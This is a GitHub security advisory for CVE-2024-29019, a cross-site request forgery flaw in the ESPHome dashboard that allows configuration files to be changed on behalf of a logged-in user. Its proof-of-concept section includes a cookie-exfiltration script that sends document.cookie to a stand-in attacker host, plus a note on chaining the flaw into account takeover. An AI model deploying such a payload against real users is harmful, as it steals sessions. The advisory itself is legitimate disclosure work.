GitHub Advisoryadvisory · PyPI

GHSA-5925-88xh-6h99 ESPHome vulnerable to Authentication bypass via Cross site request forgery

HIGH Published 2024-03-21 Modified 2024-04-11 Official page ↗
Aliases
CVE-2024-29019
Ecosystem
PyPI
Packages
esphome
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Weaknesses
CWE-352
Reviewed
2024-03-21

Affected packages

• PyPI esphome: >= 2023.12.9, < 2024.3.0 → fixed in 2024.3.0

Description

Summary API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. PoC An example of malicious web page that abuses this vulnerability: document.forms[0].submit(); In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page. Example of such script: fetch('https://attacker.domain', { method: 'POST', mode: 'no-cors', body:document.cookie }); Impact This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page. In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.

Related

Alias · CVE (1)

  • CVE-2024-29019 ESPHome is a system to control microcontrollers remotely through Home Automation systems. vulnerability

Weakness · CWE (1)

  • CWE-352 Cross-Site Request Forgery weakness

References